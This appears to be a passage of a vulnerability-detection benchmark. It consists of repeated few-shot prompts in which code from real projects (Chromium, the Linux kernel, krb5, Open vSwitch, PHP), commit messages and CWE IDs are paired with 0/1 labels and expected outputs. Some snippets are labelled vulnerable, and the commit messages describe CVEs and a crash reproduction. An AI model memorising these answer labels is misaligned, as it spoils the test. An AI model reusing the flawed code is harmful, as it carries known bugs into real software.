unsigned char *src = s + offset; const unsigned char *esrc = s + nbytes; char *dst = p->s; char *edst = &p->s[sizeof(p->s) - 1]; if (type == FILE_BESTRING16) src++; /* check that offset is within range */ if (offset >= nbytes) break; for (/*EMPTY*/; src < esrc; src += 2, dst++) { if (dst < edst) *dst = *src; else break; if (*dst == '\0') { if (type == FILE_BESTRING16 ? *(src - 1) != '\0' : *(src + 1) != '\0') *dst = ' '; } } *edst = '\0'; return 0; } case FILE_STRING: /* XXX - these two should not need */ case FILE_PSTRING: /* to copy anything, but do anyway. */ default: break; } } if (offset >= nbytes) { (void)memset(p, '\0', sizeof(*p)); return 0; } if (nbytes - offset < sizeof(*p)) nbytes = nbytes - offset; else nbytes = sizeof(*p); (void)memcpy(p, s + offset, nbytes); /* * the usefulness of padding with zeroes eludes me, it * might even cause problems */ if (nbytes < sizeof(*p)) (void)memset(((char *)(void *)p) + nbytes, '\0', sizeof(*p) - nbytes); return 0; } Commit Message: * Enforce limit of 8K on regex searches that have no limits * Allow the l modifier for regex to mean line count. Default to byte count. If line count is specified, assume a max of 80 characters per line to limit the byte count. * Don't allow conversions to be used for dates, allowing the mask field to be used as an offset. * Bump the version of the magic format so that regex changes are visible. CWE ID: CWE-399 Target: 1 Example 2: Code: void bdrv_io_limits_disable(BlockDriverState *bs) { bs->io_limits_enabled = false; bdrv_start_throttled_reqs(bs); throttle_destroy(&bs->throttle_state); } Commit Message: CWE ID: CWE-190 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: spnego_gss_acquire_cred_from(OM_uint32 *minor_status, const gss_name_t desired_name, OM_uint32 time_req, const gss_OID_set desired_mechs, gss_cred_usage_t cred_usage, gss_const_key_value_set_t cred_store, gss_cred_id_t *output_cred_handle, gss_OID_set *actual_mechs, OM_uint32 *time_rec) { OM_uint32 status, tmpmin; gss_OID_set amechs; gss_cred_id_t mcred = NULL; spnego_gss_cred_id_t spcred = NULL; dsyslog("Entering spnego_gss_acquire_cred\n"); if (actual_mechs) *actual_mechs = NULL; if (time_rec) *time_rec = 0; /* We will obtain a mechglue credential and wrap it in a * spnego_gss_cred_id_rec structure. Allocate the wrapper. */ spcred = malloc(sizeof(spnego_gss_cred_id_rec)); if (spcred == NULL) { *minor_status = ENOMEM; return (GSS_S_FAILURE); } spcred->neg_mechs = GSS_C_NULL_OID_SET; /* * Always use get_available_mechs to collect a list of * mechs for which creds are available. */ status = get_available_mechs(minor_status, desired_name, cred_usage, cred_store, &mcred, &amechs); if (actual_mechs && amechs != GSS_C_NULL_OID_SET) { (void) gssint_copy_oid_set(&tmpmin, amechs, actual_mechs); } (void) gss_release_oid_set(&tmpmin, &amechs); if (status == GSS_S_COMPLETE) { spcred->mcred = mcred; *output_cred_handle = (gss_cred_id_t)spcred; } else { free(spcred); *output_cred_handle = GSS_C_NO_CREDENTIAL; } dsyslog("Leaving spnego_gss_acquire_cred\n"); return (status); } Commit Message: Fix null deref in SPNEGO acceptor [CVE-2014-4344] When processing a continuation token, acc_ctx_cont was dereferencing the initial byte of the token without checking the length. This could result in a null dereference. CVE-2014-4344: In MIT krb5 1.5 and newer, an unauthenticated or partially authenticated remote attacker can cause a NULL dereference and application crash during a SPNEGO negotiation by sending an empty token as the second or later context token from initiator to acceptor. The attacker must provide at least one valid context token in the security context negotiation before sending the empty token. This can be done by an unauthenticated attacker by forcing SPNEGO to renegotiate the underlying mechanism, or by using IAKERB to wrap an unauthenticated AS-REQ as the first token. CVSSv2 Vector: AV:N/AC:L/Au:N/C:N/I:N/A:C/E:POC/RL:OF/RC:C [[email protected]: CVE summary, CVSSv2 vector] (cherry picked from commit 524688ce87a15fc75f87efc8c039ba4c7d5c197b) ticket: 7970 version_fixed: 1.12.2 status: resolved CWE ID: CWE-476 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: init_device (u2fh_devs * devs, struct u2fdevice *dev) { unsigned char resp[1024]; unsigned char nonce[8]; if (obtain_nonce(nonce) != 0) { return U2FH_TRANSPORT_ERROR; } size_t resplen = sizeof (resp); dev->cid = CID_BROADCAST; if (u2fh_sendrecv (devs, dev->id, U2FHID_INIT, nonce, sizeof (nonce), resp, &resplen) == U2FH_OK) { U2FHID_INIT_RESP initresp; if (resplen > sizeof (initresp)) { return U2FH_MEMORY_ERROR; } memcpy (&initresp, resp, resplen); dev->cid = initresp.cid; dev->versionInterface = initresp.versionInterface; dev->versionMajor = initresp.versionMajor; dev->versionMinor = initresp.versionMinor; dev->capFlags = initresp.capFlags; } else { return U2FH_TRANSPORT_ERROR; } return U2FH_OK; } Commit Message: fix filling out of initresp CWE ID: CWE-119 Target: 1 Example 2: Code: void RenderFrameImpl::OnGetSerializedHtmlWithLocalLinks( const std::map<GURL, base::FilePath>& url_to_local_path, const std::map<int, base::FilePath>& frame_routing_id_to_local_path) { LinkRewritingDelegate delegate(url_to_local_path, frame_routing_id_to_local_path); WebFrameSerializer::Serialize(GetWebFrame(), this, // WebFrameSerializerClient. &delegate); } Commit Message: If a page calls |window.focus()|, kick it out of fullscreen. BUG=776418, 800056 Change-Id: I1880fe600e4814c073f247c43b1c1ac80c8fc017 Reviewed-on: https://chromium-review.googlesource.com/852378 Reviewed-by: Nasko Oskov <[email protected]> Reviewed-by: Philip Jägenstedt <[email protected]> Commit-Queue: Avi Drissman <[email protected]> Cr-Commit-Position: refs/heads/master@{#533790} CWE ID: Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: static int logi_dj_ll_parse(struct hid_device *hid) { struct dj_device *djdev = hid->driver_data; unsigned int rsize = 0; char *rdesc; int retval; dbg_hid("%s\n", __func__); djdev->hdev->version = 0x0111; djdev->hdev->country = 0x00; rdesc = kmalloc(MAX_RDESC_SIZE, GFP_KERNEL); if (!rdesc) return -ENOMEM; if (djdev->reports_supported & STD_KEYBOARD) { dbg_hid("%s: sending a kbd descriptor, reports_supported: %x\n", __func__, djdev->reports_supported); rdcat(rdesc, &rsize, kbd_descriptor, sizeof(kbd_descriptor)); } if (djdev->reports_supported & STD_MOUSE) { dbg_hid("%s: sending a mouse descriptor, reports_supported: " "%x\n", __func__, djdev->reports_supported); rdcat(rdesc, &rsize, mse_descriptor, sizeof(mse_descriptor)); } if (djdev->reports_supported & MULTIMEDIA) { dbg_hid("%s: sending a multimedia report descriptor: %x\n", __func__, djdev->reports_supported); rdcat(rdesc, &rsize, consumer_descriptor, sizeof(consumer_descriptor)); } if (djdev->reports_supported & POWER_KEYS) { dbg_hid("%s: sending a power keys report descriptor: %x\n", __func__, djdev->reports_supported); rdcat(rdesc, &rsize, syscontrol_descriptor, sizeof(syscontrol_descriptor)); } if (djdev->reports_supported & MEDIA_CENTER) { dbg_hid("%s: sending a media center report descriptor: %x\n", __func__, djdev->reports_supported); rdcat(rdesc, &rsize, media_descriptor, sizeof(media_descriptor)); } if (djdev->reports_supported & KBD_LEDS) { dbg_hid("%s: need to send kbd leds report descriptor: %x\n", __func__, djdev->reports_supported); } retval = hid_parse_report(hid, rdesc, rsize); kfree(rdesc); return retval; } Commit Message: HID: logitech: fix bounds checking on LED report size The check on report size for REPORT_TYPE_LEDS in logi_dj_ll_raw_request() is wrong; the current check doesn't make any sense -- the report allocated by HID core in hid_hw_raw_request() can be much larger than DJREPORT_SHORT_LENGTH, and currently logi_dj_ll_raw_request() doesn't handle this properly at all. Fix the check by actually trimming down the report size properly if it is too large. Cc: [email protected] Reported-by: Ben Hawkes <[email protected]> Reviewed-by: Benjamin Tissoires <[email protected]> Signed-off-by: Jiri Kosina <[email protected]> CWE ID: CWE-119 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: void CloudPolicyController::SetState( CloudPolicyController::ControllerState new_state) { state_ = new_state; backend_.reset(); // Discard any pending requests. base::Time now(base::Time::NowFromSystemTime()); base::Time refresh_at; base::Time last_refresh(cache_->last_policy_refresh_time()); if (last_refresh.is_null()) last_refresh = now; bool inform_notifier_done = false; switch (state_) { case STATE_TOKEN_UNMANAGED: notifier_->Inform(CloudPolicySubsystem::UNMANAGED, CloudPolicySubsystem::NO_DETAILS, PolicyNotifier::POLICY_CONTROLLER); break; case STATE_TOKEN_UNAVAILABLE: case STATE_TOKEN_VALID: refresh_at = now; break; case STATE_POLICY_VALID: effective_policy_refresh_error_delay_ms_ = kPolicyRefreshErrorDelayInMilliseconds; refresh_at = last_refresh + base::TimeDelta::FromMilliseconds(GetRefreshDelay()); notifier_->Inform(CloudPolicySubsystem::SUCCESS, CloudPolicySubsystem::NO_DETAILS, PolicyNotifier::POLICY_CONTROLLER); break; case STATE_TOKEN_ERROR: notifier_->Inform(CloudPolicySubsystem::NETWORK_ERROR, CloudPolicySubsystem::BAD_DMTOKEN, PolicyNotifier::POLICY_CONTROLLER); inform_notifier_done = true; case STATE_POLICY_ERROR: if (!inform_notifier_done) { notifier_->Inform(CloudPolicySubsystem::NETWORK_ERROR, CloudPolicySubsystem::POLICY_NETWORK_ERROR, PolicyNotifier::POLICY_CONTROLLER); } refresh_at = now + base::TimeDelta::FromMilliseconds( effective_policy_refresh_error_delay_ms_); effective_policy_refresh_error_delay_ms_ = std::min(effective_policy_refresh_error_delay_ms_ * 2, policy_refresh_rate_ms_); break; case STATE_POLICY_UNAVAILABLE: effective_policy_refresh_error_delay_ms_ = policy_refresh_rate_ms_; refresh_at = now + base::TimeDelta::FromMilliseconds( effective_policy_refresh_error_delay_ms_); notifier_->Inform(CloudPolicySubsystem::NETWORK_ERROR, CloudPolicySubsystem::POLICY_NETWORK_ERROR, PolicyNotifier::POLICY_CONTROLLER); break; } scheduler_->CancelDelayedWork(); if (!refresh_at.is_null()) { int64 delay = std::max<int64>((refresh_at - now).InMilliseconds(), 0); scheduler_->PostDelayedWork( base::Bind(&CloudPolicyController::DoWork, base::Unretained(this)), delay); } } Commit Message: Reset the device policy machinery upon retrying enrollment. BUG=chromium-os:18208 TEST=See bug description Review URL: http://codereview.chromium.org/7676005 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@97615 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: CWE-399 Target: 1 Example 2: Code: DataURLWarningConsoleObserverDelegate( WebContents* web_contents, ExpectedNavigationStatus expected_navigation_status) : web_contents_(web_contents), success_filter_(expected_navigation_status == NAVIGATION_ALLOWED ? kDataUrlSuccessfulMessage : kDataUrlBlockedPattern), fail_filter_(expected_navigation_status == NAVIGATION_ALLOWED ? kDataUrlBlockedPattern : kDataUrlSuccessfulMessage), message_loop_runner_( new MessageLoopRunner(MessageLoopRunner::QuitMode::IMMEDIATE)), saw_failure_message_(false) {} Commit Message: Do not use NavigationEntry to block history navigations. This is no longer necessary after r477371. BUG=777419 TEST=See bug for repro steps. Cq-Include-Trybots: master.tryserver.chromium.linux:linux_site_isolation Change-Id: I701e4d4853858281b43e3743b12274dbeadfbf18 Reviewed-on: https://chromium-review.googlesource.com/733959 Reviewed-by: Devlin <[email protected]> Reviewed-by: Nasko Oskov <[email protected]> Commit-Queue: Charlie Reis <[email protected]> Cr-Commit-Position: refs/heads/master@{#511942} CWE ID: CWE-20 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: bool Get(const std::string& addr, int* out_value) { base::AutoLock lock(lock_); PrintPreviewRequestIdMap::const_iterator it = map_.find(addr); if (it == map_.end()) return false; *out_value = it->second; return true; } Commit Message: Print preview: Use an ID instead of memory pointer string in WebUI. BUG=144051 Review URL: https://chromiumcodereview.appspot.com/10870003 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@153342 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: CWE-200 Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: void GpuProcessHostUIShim::OnAcceleratedSurfaceBuffersSwapped( const GpuHostMsg_AcceleratedSurfaceBuffersSwapped_Params& params) { TRACE_EVENT0("renderer", "GpuProcessHostUIShim::OnAcceleratedSurfaceBuffersSwapped"); ScopedSendOnIOThread delayed_send( host_id_, new AcceleratedSurfaceMsg_BufferPresented(params.route_id, false, 0)); RenderWidgetHostViewPort* view = GetRenderWidgetHostViewFromSurfaceID( params.surface_id); if (!view) return; delayed_send.Cancel(); static const base::TimeDelta swap_delay = GetSwapDelay(); if (swap_delay.ToInternalValue()) base::PlatformThread::Sleep(swap_delay); view->AcceleratedSurfaceBuffersSwapped(params, host_id_); } Commit Message: Implement TextureImageTransportSurface using texture mailbox This has a couple of advantages: - allow tearing down and recreating the UI parent context without losing the renderer contexts - do not require a context to be able to generate textures when creating the GLSurfaceHandle - clearer ownership semantics that potentially allows for more robust and easier lost context handling/thumbnailing/etc., since a texture is at any given time owned by either: UI parent, mailbox, or TextureImageTransportSurface - simplify frontbuffer protection logic; the frontbuffer textures are now owned by RWHV where they are refcounted The TextureImageTransportSurface informs RenderWidgetHostView of the mailbox names for the front- and backbuffer textures by associating them with a surface_handle (1 or 2) in the AcceleratedSurfaceNew message. During SwapBuffers() or PostSubBuffer() cycles, it then uses produceTextureCHROMIUM() and consumeTextureCHROMIUM() to transfer ownership between renderer and browser compositor. RWHV sends back the surface_handle of the buffer being returned with the Swap ACK (or 0 if no buffer is being returned in which case TextureImageTransportSurface will allocate a new texture - note that this could be used to simply keep textures for thumbnailing). BUG=154815,139616 [email protected] Review URL: https://chromiumcodereview.appspot.com/11194042 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@171569 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: Target: 1 Example 2: Code: PendingWidgetMessageFilter() : BrowserMessageFilter(kMessageClasses, arraysize(kMessageClasses)), routing_id_(MSG_ROUTING_NONE), message_loop_runner_(new MessageLoopRunner) {} Commit Message: Avoid sharing process for blob URLs with null origin. Previously, when a frame with a unique origin, such as from a data URL, created a blob URL, the blob URL looked like blob:null/guid and resulted in a site URL of "blob:" when navigated to. This incorrectly allowed all such blob URLs to share a process, even if they were created by different sites. This CL changes the site URL assigned in such cases to be the full blob URL, which includes the GUID. This avoids process sharing for all blob URLs with unique origins. This fix is conservative in the sense that it would also isolate different blob URLs created by the same unique origin from each other. This case isn't expected to be common, so it's unlikely to affect process count. There's ongoing work to maintain a GUID for unique origins, so longer-term, we could try using that to track down the creator and potentially use that GUID in the site URL instead of the blob URL's GUID, to avoid unnecessary process isolation in scenarios like this. Note that as part of this, we discovered a bug where data URLs aren't able to script blob URLs that they create: https://crbug.com/865254. This scripting bug should be fixed independently of this CL, and as far as we can tell, this CL doesn't regress scripting cases like this further. Bug: 863623 Change-Id: Ib50407adbba3d5ee0cf6d72d3df7f8d8f24684ee Reviewed-on: https://chromium-review.googlesource.com/1142389 Commit-Queue: Alex Moshchuk <[email protected]> Reviewed-by: Charlie Reis <[email protected]> Cr-Commit-Position: refs/heads/master@{#576318} CWE ID: CWE-285 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: OVS_REQUIRES(ofproto_mutex) { struct eviction_group *evg; HMAP_FOR_EACH_WITH_HASH (evg, id_node, id, &table->eviction_groups_by_id) { return evg; } evg = xmalloc(sizeof *evg); hmap_insert(&table->eviction_groups_by_id, &evg->id_node, id); heap_insert(&table->eviction_groups_by_size, &evg->size_node, eviction_group_priority(0)); heap_init(&evg->rules); return evg; } Commit Message: ofproto: Fix OVS crash when reverting old flows in bundle commit During bundle commit flows which are added in bundle are applied to ofproto in-order. In case if a flow cannot be added (e.g. flow action is go-to group id which does not exist), OVS tries to revert back all previous flows which were successfully applied from the same bundle. This is possible since OVS maintains list of old flows which were replaced by flows from the bundle. While reinserting old flows ovs asserts due to check on rule state != RULE_INITIALIZED. This will work only for new flows, but for old flow the rule state will be RULE_REMOVED. This is causing an assert and OVS crash. The ovs assert check should be modified to != RULE_INSERTED to prevent any existing rule being re-inserted and allow new rules and old rules (in case of revert) to get inserted. Here is an example to trigger the assert: $ ovs-vsctl add-br br-test -- set Bridge br-test datapath_type=netdev $ cat flows.txt flow add table=1,priority=0,in_port=2,actions=NORMAL flow add table=1,priority=0,in_port=3,actions=NORMAL $ ovs-ofctl dump-flows -OOpenflow13 br-test cookie=0x0, duration=2.465s, table=1, n_packets=0, n_bytes=0, priority=0,in_port=2 actions=NORMAL cookie=0x0, duration=2.465s, table=1, n_packets=0, n_bytes=0, priority=0,in_port=3 actions=NORMAL $ cat flow-modify.txt flow modify table=1,priority=0,in_port=2,actions=drop flow modify table=1,priority=0,in_port=3,actions=group:10 $ ovs-ofctl bundle br-test flow-modify.txt -OOpenflow13 First flow rule will be modified since it is a valid rule. However second rule is invalid since no group with id 10 exists. Bundle commit tries to revert (insert) the first rule to old flow which results in ovs_assert at ofproto_rule_insert__() since old rule->state = RULE_REMOVED. Signed-off-by: Vishal Deep Ajmera <[email protected]> Signed-off-by: Ben Pfaff <[email protected]> CWE ID: CWE-617 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: void utf32_to_utf8(const char32_t* src, size_t src_len, char* dst) { if (src == NULL || src_len == 0 || dst == NULL) { return; } const char32_t *cur_utf32 = src; const char32_t *end_utf32 = src + src_len; char *cur = dst; while (cur_utf32 < end_utf32) { size_t len = utf32_codepoint_utf8_length(*cur_utf32); utf32_codepoint_to_utf8((uint8_t *)cur, *cur_utf32++, len); cur += len; } *cur = '\0'; } Commit Message: libutils/Unicode.cpp: Correct length computation and add checks for utf16->utf8 Inconsistent behaviour between utf16_to_utf8 and utf16_to_utf8_length is causing a heap overflow. Correcting the length computation and adding bound checks to the conversion functions. Test: ran libutils_tests Bug: 29250543 Change-Id: I6115e3357141ed245c63c6eb25fc0fd0a9a7a2bb (cherry picked from commit c4966a363e46d2e1074d1a365e232af0dcedd6a1) CWE ID: CWE-119 Target: 1 Example 2: Code: void SetOnError(const base::Callback<void(SocketStreamEvent*)>& callback) { on_error_ = callback; } Commit Message: Revert a workaround commit for a Use-After-Free crash. Revert a workaround commit r20158 for a Use-After-Free issue (http://crbug.com/244746) because a cleaner CL r207218 is landed. URLRequestContext does not inherit SupportsWeakPtr now. R=mmenke BUG=244746 Review URL: https://chromiumcodereview.appspot.com/16870008 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@207811 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: CWE-399 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: static int check_ptr_alignment(struct bpf_verifier_env *env, const struct bpf_reg_state *reg, int off, int size) { bool strict = env->strict_alignment; const char *pointer_desc = ""; switch (reg->type) { case PTR_TO_PACKET: case PTR_TO_PACKET_META: /* Special case, because of NET_IP_ALIGN. Given metadata sits * right in front, treat it the very same way. */ return check_pkt_ptr_alignment(env, reg, off, size, strict); case PTR_TO_MAP_VALUE: pointer_desc = "value "; break; case PTR_TO_CTX: pointer_desc = "context "; break; case PTR_TO_STACK: pointer_desc = "stack "; break; default: break; } return check_generic_ptr_alignment(env, reg, pointer_desc, off, size, strict); } Commit Message: bpf: fix incorrect tracking of register size truncation Properly handle register truncation to a smaller size. The old code first mirrors the clearing of the high 32 bits in the bitwise tristate representation, which is correct. But then, it computes the new arithmetic bounds as the intersection between the old arithmetic bounds and the bounds resulting from the bitwise tristate representation. Therefore, when coerce_reg_to_32() is called on a number with bounds [0xffff'fff8, 0x1'0000'0007], the verifier computes [0xffff'fff8, 0xffff'ffff] as bounds of the truncated number. This is incorrect: The truncated number could also be in the range [0, 7], and no meaningful arithmetic bounds can be computed in that case apart from the obvious [0, 0xffff'ffff]. Starting with v4.14, this is exploitable by unprivileged users as long as the unprivileged_bpf_disabled sysctl isn't set. Debian assigned CVE-2017-16996 for this issue. v2: - flip the mask during arithmetic bounds calculation (Ben Hutchings) v3: - add CVE number (Ben Hutchings) Fixes: b03c9f9fdc37 ("bpf/verifier: track signed and unsigned min/max values") Signed-off-by: Jann Horn <[email protected]> Acked-by: Edward Cree <[email protected]> Signed-off-by: Alexei Starovoitov <[email protected]> Signed-off-by: Daniel Borkmann <[email protected]> CWE ID: CWE-119 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: bool IDNSpoofChecker::SafeToDisplayAsUnicode(base::StringPiece16 label, bool is_tld_ascii) { UErrorCode status = U_ZERO_ERROR; int32_t result = uspoof_check(checker_, label.data(), base::checked_cast<int32_t>(label.size()), nullptr, &status); if (U_FAILURE(status) || (result & USPOOF_ALL_CHECKS)) return false; icu::UnicodeString label_string(FALSE, label.data(), base::checked_cast<int32_t>(label.size())); if (deviation_characters_.containsSome(label_string)) return false; result &= USPOOF_RESTRICTION_LEVEL_MASK; if (result == USPOOF_ASCII) return true; if (result == USPOOF_SINGLE_SCRIPT_RESTRICTIVE && kana_letters_exceptions_.containsNone(label_string) && combining_diacritics_exceptions_.containsNone(label_string)) { return !is_tld_ascii || !IsMadeOfLatinAlikeCyrillic(label_string); } if (non_ascii_latin_letters_.containsSome(label_string) && !lgc_letters_n_ascii_.containsAll(label_string)) return false; icu::RegexMatcher* dangerous_pattern = reinterpret_cast<icu::RegexMatcher*>(DangerousPatternTLS().Get()); if (!dangerous_pattern) { dangerous_pattern = new icu::RegexMatcher( icu::UnicodeString( R"([^\p{scx=kana}\p{scx=hira}\p{scx=hani}])" R"([\u30ce\u30f3\u30bd\u30be\u4e36\u4e40\u4e41\u4e3f])" R"([^\p{scx=kana}\p{scx=hira}\p{scx=hani}]|)" R"([^\p{scx=kana}][\u30fd\u30fe]|^[\u30fd\u30fe]|)" R"(^[\p{scx=kana}]+[\u3078-\u307a][\p{scx=kana}]+$|)" R"(^[\p{scx=hira}]+[\u30d8-\u30da][\p{scx=hira}]+$|)" R"([^\p{scx=kana}\p{scx=hira}]\u30fc|^\u30fc|)" R"([a-z]\u30fb|\u30fb[a-z]|)" R"([^\p{scx=kana}\p{scx=hira}\p{scx=hani}])" R"([\u4e00\u3127])" R"([^\p{scx=kana}\p{scx=hira}\p{scx=hani}]|)" R"([^\p{scx=latn}\p{scx=grek}\p{scx=cyrl}][\u0300-\u0339]|)" R"(\u0131[\u0300-\u0339]|)" R"(\u3099|\u309A|)" R"([ijl]\u0307)", -1, US_INV), 0, status); DangerousPatternTLS().Set(dangerous_pattern); } dangerous_pattern->reset(label_string); return !dangerous_pattern->find(); } Commit Message: Restrict Latin Small Letter Thorn (U+00FE) to Icelandic domains This character (þ) can be confused with both b and p when used in a domain name. IDN spoof checker doesn't have a good way of flagging a character as confusable with multiple characters, so it can't catch spoofs containing this character. As a practical fix, this CL restricts this character to domains under Iceland's ccTLD (.is). With this change, a domain name containing "þ" with a non-.is TLD will be displayed in punycode in the UI. This change affects less than 10 real world domains with limited popularity. Bug: 798892, 843352, 904327, 1017707 Change-Id: Ib07190dcde406bf62ce4413688a4fb4859a51030 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1879992 Commit-Queue: Mustafa Emre Acer <[email protected]> Reviewed-by: Christopher Thompson <[email protected]> Cr-Commit-Position: refs/heads/master@{#709309} CWE ID: Target: 1 Example 2: Code: static int tipc_ioctl(struct socket *sock, unsigned int cmd, unsigned long arg) { struct sock *sk = sock->sk; struct tipc_sioc_ln_req lnr; void __user *argp = (void __user *)arg; switch (cmd) { case SIOCGETLINKNAME: if (copy_from_user(&lnr, argp, sizeof(lnr))) return -EFAULT; if (!tipc_node_get_linkname(sock_net(sk), lnr.bearer_id & 0xffff, lnr.peer, lnr.linkname, TIPC_MAX_LINK_NAME)) { if (copy_to_user(argp, &lnr, sizeof(lnr))) return -EFAULT; return 0; } return -EADDRNOTAVAIL; default: return -ENOIOCTLCMD; } } Commit Message: tipc: check nl sock before parsing nested attributes Make sure the socket for which the user is listing publication exists before parsing the socket netlink attributes. Prior to this patch a call without any socket caused a NULL pointer dereference in tipc_nl_publ_dump(). Tested-and-reported-by: Baozeng Ding <[email protected]> Signed-off-by: Richard Alpe <[email protected]> Acked-by: Jon Maloy <[email protected]> Signed-off-by: David S. Miller <[email protected]> CWE ID: Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: void OpenDevToolsWindowForSharedWorker(WorkerData* worker_data) { Profile* profile = browser()->profile(); window_ = DevToolsWindow::CreateDevToolsWindowForWorker(profile); window_->Show(DEVTOOLS_TOGGLE_ACTION_SHOW); scoped_refptr<DevToolsAgentHost> agent_host( DevToolsAgentHost::GetForWorker( worker_data->worker_process_id, worker_data->worker_route_id)); DevToolsManager::GetInstance()->RegisterDevToolsClientHostFor( agent_host, window_->GetDevToolsClientHostForTest()); RenderViewHost* client_rvh = window_->GetRenderViewHost(); WebContents* client_contents = WebContents::FromRenderViewHost(client_rvh); if (client_contents->IsLoading()) { content::WindowedNotificationObserver observer( content::NOTIFICATION_LOAD_STOP, content::Source<NavigationController>( &client_contents->GetController())); observer.Wait(); } } Commit Message: Let the browser handle external navigations from DevTools. BUG=180555 Review URL: https://chromiumcodereview.appspot.com/12531004 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@186793 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: CWE-264 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: static void __update_open_stateid(struct nfs4_state *state, nfs4_stateid *open_stateid, const nfs4_stateid *deleg_stateid, int open_flags) { /* * Protect the call to nfs4_state_set_mode_locked and * serialise the stateid update */ write_seqlock(&state->seqlock); if (deleg_stateid != NULL) { memcpy(state->stateid.data, deleg_stateid->data, sizeof(state->stateid.data)); set_bit(NFS_DELEGATED_STATE, &state->flags); } if (open_stateid != NULL) nfs_set_open_stateid_locked(state, open_stateid, open_flags); write_sequnlock(&state->seqlock); spin_lock(&state->owner->so_lock); update_open_stateflags(state, open_flags); spin_unlock(&state->owner->so_lock); } Commit Message: NFSv4: Convert the open and close ops to use fmode Signed-off-by: Trond Myklebust <[email protected]> CWE ID: Target: 1 Example 2: Code: static void limitedToOnlyOtherAttributeAttributeSetter(v8::Local<v8::Value> jsValue, const v8::PropertyCallbackInfo<void>& info) { TestObject* imp = V8TestObject::toNative(info.Holder()); V8TRYCATCH_FOR_V8STRINGRESOURCE_VOID(V8StringResource<>, cppValue, jsValue); CustomElementCallbackDispatcher::CallbackDeliveryScope deliveryScope; imp->setAttribute(HTMLNames::OtherAttr, cppValue); } Commit Message: document.location bindings fix BUG=352374 [email protected] Review URL: https://codereview.chromium.org/196343011 git-svn-id: svn://svn.chromium.org/blink/trunk@169176 bbb929c8-8fbe-4397-9dbb-9b2b20218538 CWE ID: CWE-399 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: PHP_FUNCTION(locale_get_display_language) { get_icu_disp_value_src_php( LOC_LANG_TAG , INTERNAL_FUNCTION_PARAM_PASSTHRU ); } Commit Message: Fix bug #72241: get_icu_value_internal out-of-bounds read CWE ID: CWE-125 Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: WebRTCSessionDescriptionDescriptor MockWebRTCPeerConnectionHandler::remoteDescription() { return m_remoteDescription; } Commit Message: Unreviewed, rolling out r127612, r127660, and r127664. http://trac.webkit.org/changeset/127612 http://trac.webkit.org/changeset/127660 http://trac.webkit.org/changeset/127664 https://bugs.webkit.org/show_bug.cgi?id=95920 Source/Platform: * Platform.gypi: * chromium/public/WebRTCPeerConnectionHandler.h: (WebKit): (WebRTCPeerConnectionHandler): * chromium/public/WebRTCVoidRequest.h: Removed. Source/WebCore: * CMakeLists.txt: * GNUmakefile.list.am: * Modules/mediastream/RTCErrorCallback.h: (WebCore): (RTCErrorCallback): * Modules/mediastream/RTCErrorCallback.idl: * Modules/mediastream/RTCPeerConnection.cpp: (WebCore::RTCPeerConnection::createOffer): * Modules/mediastream/RTCPeerConnection.h: (WebCore): (RTCPeerConnection): * Modules/mediastream/RTCPeerConnection.idl: * Modules/mediastream/RTCSessionDescriptionCallback.h: (WebCore): (RTCSessionDescriptionCallback): * Modules/mediastream/RTCSessionDescriptionCallback.idl: * Modules/mediastream/RTCSessionDescriptionRequestImpl.cpp: (WebCore::RTCSessionDescriptionRequestImpl::create): (WebCore::RTCSessionDescriptionRequestImpl::RTCSessionDescriptionRequestImpl): (WebCore::RTCSessionDescriptionRequestImpl::requestSucceeded): (WebCore::RTCSessionDescriptionRequestImpl::requestFailed): (WebCore::RTCSessionDescriptionRequestImpl::clear): * Modules/mediastream/RTCSessionDescriptionRequestImpl.h: (RTCSessionDescriptionRequestImpl): * Modules/mediastream/RTCVoidRequestImpl.cpp: Removed. * Modules/mediastream/RTCVoidRequestImpl.h: Removed. * WebCore.gypi: * 